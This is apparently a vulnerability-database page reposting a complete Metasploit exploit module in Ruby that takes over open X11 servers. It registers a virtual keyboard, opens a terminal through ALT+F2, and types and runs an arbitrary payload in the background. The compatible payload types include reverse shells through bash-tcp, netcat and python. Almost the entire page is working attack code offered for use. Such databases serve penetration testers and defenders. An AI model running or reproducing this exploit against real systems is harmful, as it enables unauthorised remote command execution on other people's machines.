Lucene search
K

X11 Keyboard Command Injection

🗓️ 14 Oct 2015 00:00:00Reported by xistenceType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 46 Views

This module exploits open X11 servers by connecting and registering a virtual keyboard. The virtual keyboard is used to open an xterm or gnome terminal and type and execute the specified payload

Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
include Msf::Exploit::Remote::Tcp  
  
KB_KEYS = {  
'1' => "\x0a",  
'2' => "\x0b",  
'3' => "\x0c",  
'4' => "\x0d",  
'5' => "\x0e",  
'6' => "\x0f",  
'7' => "\x10",  
'&' => "\x10",  
'8' => "\x11",  
'9' => "\x12",  
'(' => "\x12",  
'0' => "\x13",  
')' => "\x13",  
'-' => "\x14",  
'=' => "\x15",  
'q' => "\x18",  
'w' => "\x19",  
'e' => "\x1a",  
'r' => "\x1b",  
't' => "\x1c",  
'y' => "\x1d",  
'u' => "\x1e",  
'i' => "\x1f",  
'o' => "\x20",  
'p' => "\x21",  
'[' => "\x22",  
'{' => "\x22",  
']' => "\x23",  
'}' => "\x23",  
'a' => "\x26",  
's' => "\x27",  
'd' => "\x28",  
'f' => "\x29",  
'g' => "\x2a",  
'h' => "\x2b",  
'j' => "\x2c",  
'k' => "\x2d",  
'l' => "\x2e",  
';' => "\x2f",  
':' => "\x2f",  
"'" => "\x30",  
'"' => "\x30",  
'`' => "\x31",  
'~' => "\x31",  
'lshift' => "\x32",  
'\\' => "\x33",  
'|' => "\x33",  
'z' => "\x34",  
'x' => "\x35",  
'c' => "\x36",  
'v' => "\x37",  
'b' => "\x38",  
'n' => "\x39",  
'm' => "\x3a",  
',' => "\x3b",  
'<' => "\x3b",  
'.' => "\x3c",  
'>' => "\x3c",  
'/' => "\x3d",  
'*' => "\x3f",  
'alt' => "\x40",  
' ' => "\x41",  
'f2' => "\x44"  
}  
  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'X11 Keyboard Command Injection',  
'Description' => %q{  
This module exploits open X11 servers by connecting and registering a  
virtual keyboard. The virtual keyboard is used to open an xterm or gnome  
terminal and type and execute the specified payload.  
},  
'Author' =>  
[  
'xistence <xistence[at]0x90.nl>'  
],  
'Privileged' => false,  
'License' => MSF_LICENSE,  
'Payload' =>  
{  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd cmd_bash',  
'RequiredCmd' => 'gawk bash-tcp python netcat'  
}  
},  
'Platform' => ['unix'],  
'Arch' => ARCH_CMD,  
'Targets' =>  
[  
[ 'xterm (Generic)', {}],  
[ 'gnome-terminal (Ubuntu)', {}],  
], 'DisclosureDate' => 'Jul 10 2015',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(6000),  
OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows in seconds', 5])  
], self.class)  
end  
  
  
def xkeyboard_key  
req = ""  
req << @xkeyboard_opcode  
req << "\x05" # Extension minor: 5 (LatchLockState)  
req << "\x04\x00" # Request length: 4  
req << "\x00\x01" # DeviceSpec: 0x0100 (256)  
req << "\x00" # affectModLocks: 0  
req << "\x00" # modLocks: 0  
req << "\x01" # lockGroup: True  
req << "\x00" # groupLock: 0  
req << "\x00" # affectModLatches: 0  
req << "\x00" # Unused  
req << "\x00" # latchGroup: False  
req << "\x00\x00" # groupLatch: 0  
req << "\x00" # Undecoded  
return req  
end  
  
  
def press_key(key)  
  
req = xkeyboard_key  
  
req << @xtest_opcode  
req << "\x02" # Extension minor: 2 (FakeInput)  
req << "\x09\x00" # Request length: 9  
req << "\x02" # Press key (Type: 2)  
req << key # What key to press  
req << "\x04\x00" # Unused?  
req << "\x00\x00\x00\x00" # Time  
req << "\x00\x00\x00\x00" # Root  
req << "\x07\x00\x07\x00" # Unused?  
req << "\x88\x04\x02\x00" # Unused?  
#req << "\x00\x01" # rootX: 256  
#req << "\xf5\x05" # rootY: 1525  
req << "\x00\x00" # rootX: 0  
req << "\x00\x00" # rootY: 0  
req << "\x00\x00\x00\x00" # Unused?  
req << "\x00\x00\x00" # Unused?  
req << "\x00" # deviceid: 0  
  
req << xkeyboard_key  
  
req << "\x2b" # Opcode 43: GetInputFocus  
req << "\x00" # Unused  
req << "\x01\x00" # Request length: 1  
  
sock.put(req)  
  
res = sock.get_once  
  
# Response should give 1 on first byte (Success)  
unless res && res[0,1] == "\x01"  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key} #{res.inspect}")  
end  
  
end  
  
def release_key(key)  
  
req = xkeyboard_key  
  
req << @xtest_opcode  
req << "\x02" # Extension minor: 2 (FakeInput)  
req << "\x09\x00" # Request length: 9  
req << "\x03" # Release key (Type: 3)  
req << key # What key to release  
req << "\x04\x00" # Unused?  
req << "\x00\x00\x00\x00" # Time  
req << "\x00\x00\x00\x00" # Root  
req << "\x07\x00\x07\x00" # Unused?  
req << "\x88\x04\x02\x00" # Unused?  
#req << "\x00\x01" # rootX: 256  
#req << "\xf5\x05" # rootY: 1525  
req << "\x00\x00" # rootX: 0  
req << "\x00\x00" # rootY: 0  
req << "\x00\x00\x00\x00" # Unused?  
req << "\x00\x00\x00" # Unused?  
req << "\x00" # deviceid: 0  
  
req << xkeyboard_key  
  
req << "\x2b" # Opcode 43: GetInputFocus  
req << "\x00" # Unused  
req << "\x01\x00" # Request length: 1  
  
sock.put(req)  
  
res = sock.get_once  
  
# Response should give 1 on first byte (Success)  
unless res && res[0,1] == "\x01"  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key} #{res.inspect}")  
end  
  
end  
  
def type_command(command)  
# Specify the special keys which need to have shift pressed first to type  
specialkeys = '<>{}|"&()'.chars  
values = command.chars  
values.each do |value|  
key = KB_KEYS[value]  
# Special keys need a shift pressed to be typed  
if Regexp.union(specialkeys) =~ value  
press_key(KB_KEYS["lshift"]) # [lshift]  
press_key(key)  
release_key(KB_KEYS["lshift"])  
release_key(key)  
# Uppercase characters need to be converted to lowercase and be typed in combination with the shift key to generate uppercase  
elsif value =~ /[A-Z]/  
press_key(KB_KEYS["lshift"]) # [lshift]  
press_key(KB_KEYS[value.downcase])  
release_key(KB_KEYS["lshift"])  
release_key(KB_KEYS[value.downcase])  
# All normal keys which are not special keys or uppercase characters  
else  
press_key(key)  
release_key(key)  
end  
end  
# Send an enter  
press_key("\x24") # [enter]  
release_key("\x24") # [enter]  
end  
  
def send_msg(sock, data)  
sock.put(data)  
data = ""  
begin  
read_data = sock.get_once(-1, 1)  
while not read_data.nil?  
data << read_data  
read_data = sock.get_once(-1, 1)  
end  
rescue EOFError  
end  
data  
end  
  
def exploit  
  
begin  
connect  
  
print_status("#{rhost}:#{rport} - Register keyboard")  
  
req = "\x6c" # Byte order (Little-Endian)  
req << "\x00" # Unused  
req << "\x0b\x00" # Protocol major version: 11  
req << "\x00\x00" # Protocol minor version: 0  
req << "\x00\x00" # Authorization protocol name length: 0  
req << "\x00\x00" # Authorization protocol data length: 0  
req << "\x00\x00" # Unused  
  
# Retrieve the whole X11 details response  
res = send_msg(sock,req)  
  
# Response should give 0x01 in first byte (Success)  
unless res && res[0,1] == "\x01"  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 initial communication failed")  
end  
  
  
# Keyboard registration  
req = "\x62" # Opcode 98: QueryExtension  
req << "\x00" # Unused  
req << "\x05\x00" # Request length: 5  
req << "\x09\x00" # Name length: 9  
req << "\x60\x03" # Unused?  
req << "XKEYBOARD" # Name  
req << "\x00\x00\x00" # Unused, padding?  
  
# Retrieve the whole X11 details response  
res = send_msg(sock,req)  
  
# Response should give 0x01 in first byte (Success)  
if res && res[0,1] == "\x01"  
@xkeyboard_opcode = res[9,1] # Retrieve the XKEYBOARD opcode  
else  
#puts res.inspect  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XKEYBOARD failed")  
end  
  
  
req = ""  
req << @xkeyboard_opcode  
req << "\x00" # Extension minor: 0 (UseExtension)  
req << "\x02\x00" # Request length: 2  
req << "\x01\x00" # Wanted Major: 1  
req << "\x00\x00" # Wanted Minor: 0  
  
# Retrieve the whole X11 details response  
res = send_msg(sock,req)  
  
unless res && res[0,1] == "\x01"  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD (opcode 136) failed -")  
end  
  
  
req = "\x62" # Opcode 98: QueryExtension  
req << "\x00" # Unused  
req << "\x06\x00" # Request length: 6  
req << "\x0f\x00" # Name length: 15  
req << "\x00\x00" # Unused  
req << "XInputExtension" # Name  
req << "\x00" # Unused, padding?  
  
# Retrieve the whole X11 details response  
res = send_msg(sock,req)  
  
# Response should give 0x01 in first byte (Success)  
unless res && res[0,1] == "\x01"  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XInputExtension failed")  
end  
  
  
req = "\x62" # Opcode 98: QueryExtension  
req << "\x00" # Unused  
req << "\x04\x00" # Request length: 4  
req << "\x05\x00" # Name length: 5  
req << "\x00\x00" # Unused  
req << "XTEST" # Name  
req << "\x00\x00\x00" # Unused, padding?  
  
# Retrieve the whole X11 details response  
res = send_msg(sock,req)  
  
# Response should give 0x01 in first byte (Success)  
if res && res[0,1] == "\x01"  
@xtest_opcode = res[9,1] # Retrieve the XTEST opcode  
else  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XTEST failed")  
end  
  
  
req = "\x62" # Opcode 98: QueryExtension  
req << "\x00" # Unused  
req << "\x08\x00" # Request length  
req << "\x17\x00" # Name length  
req << "\x00\x00" # Unused  
req << "Generic Event Extension" # Name  
req << "\x00" # Unused, padding?  
  
# Retrieve the whole X11 details response  
res = send_msg(sock,req)  
  
# Response should give 0x01 in first byte (Success)  
if res && res[0,1] == "\x01"  
@genericevent_opcode = res[9,1] # Retrieve the Generic Event Extension opcode  
else  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) Generic Event Extension failed")  
end  
  
  
req = ""  
req << @genericevent_opcode  
req << "\x00" # Extension minor: 0 (QueryVersion)  
req << "\x02\x00" # Request length: 2  
req << "\x01\x00" # Client major version: 1  
req << "\x00\x00" # Client minor version: 0  
  
# Retrieve the whole X11 details response  
res = send_msg(sock,req)  
  
# Response should give 0x01 in first byte (Success)  
unless res && res[0,1] == "\x01"  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")  
end  
  
  
req = ""  
req << @xtest_opcode  
req << "\x00" # Extension minor: 0 (GetVersion)  
req << "\x02\x00" # Request length: 2  
req << "\x02\x00" # Major version: 2  
req << "\x02\x00" # Minor version: 2  
  
# Retrieve the whole X11 details response  
res = send_msg(sock,req)  
  
# Response should give 0x01 in first byte (Success)  
unless res && res[0,1] == "\x01"  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XTEST failed")  
end  
  
  
req = "\x65" # Opcode 101: GetKeyboardMapping  
req << "\x00" # Unused  
req << "\x02\x00" # Request length: 2  
req << "\x08" # First keycode: 8  
req << "\xf8" # Count: 248  
req << "\x02\x00" # Unused?  
  
# Retrieve the whole X11 details response  
res = send_msg(sock,req)  
  
# Response should give 0x01 in first byte (Success)  
unless res && res[0,1] == "\x01"  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request GetKeyboardMapping (opcode 101) failed")  
end  
  
  
req = ""  
req << @xkeyboard_opcode  
req << "\x08" # Extension minor: 8 (GetMap)  
req << "\x07\x00" # Request length: 7  
req << "\x00\x01" # Device spec: 0x0100 (256)  
req << "\x07\x00" # Full: 7  
req << "\x00\x00" # Partial: 0  
req << "\x00" # firsType: 0  
req << "\x00" # nTypes: 0  
req << "\x00" # firstKeySym: 0  
req << "\x00" # nKeySym: 0  
req << "\x00" # firstKeyAction: 0  
req << "\x00" # nKeysActions: 0  
req << "\x00" # firstKeyBehavior: 0  
req << "\x00" # nKeysBehavior: 0  
req << "\x00\x00" # virtualMods: 0  
req << "\x00" # firstKeyExplicit: 0  
req << "\x00" # nKeyExplicit: 0  
req << "\x00" # firstModMapKey: 0  
req << "\x00" # nModMapKeys: 0  
req << "\x00" # firstVModMapKey: 0  
req << "\x00" # nVModMapKeys: 0  
req << "\x00\x00" # Unused, padding?  
  
# Retrieve the whole X11 details response  
res = send_msg(sock,req)  
  
# Response should give 0x01 in first byte (Success)  
unless res && res[0,1] == "\x01"  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")  
end  
  
  
# Press ALT+F2 to start up "Run application"  
print_status("#{rhost}:#{rport} - Opening \"Run Application\"")  
press_key(KB_KEYS["alt"])  
press_key(KB_KEYS["f2"])  
release_key(KB_KEYS["alt"])  
release_key(KB_KEYS["f2"])  
  
# Wait X seconds to open the dialog  
print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")  
Rex.sleep(datastore['TIME_WAIT'])  
  
if datastore['TARGET'] == 0  
# Start a xterm terminal  
print_status("#{rhost}:#{rport} - Opening xterm")  
type_command("xterm")  
else  
# Start a Gnome terminal  
print_status("#{rhost}:#{rport} - Opening gnome-terminal")  
type_command("gnome-terminal")  
end  
  
print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")  
# Wait X seconds to open the terminal  
Rex.sleep(datastore['TIME_WAIT'])  
  
# "Type" our payload and execute it  
print_status("#{rhost}:#{rport} - Typing and executing payload")  
command = "nohup #{payload.encoded} &2>/dev/null; sleep 1; exit"  
  
type_command(command)  
  
handler  
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e  
print_error("#{rhost}:#{rport} - #{e.message}")  
ensure  
disconnect  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation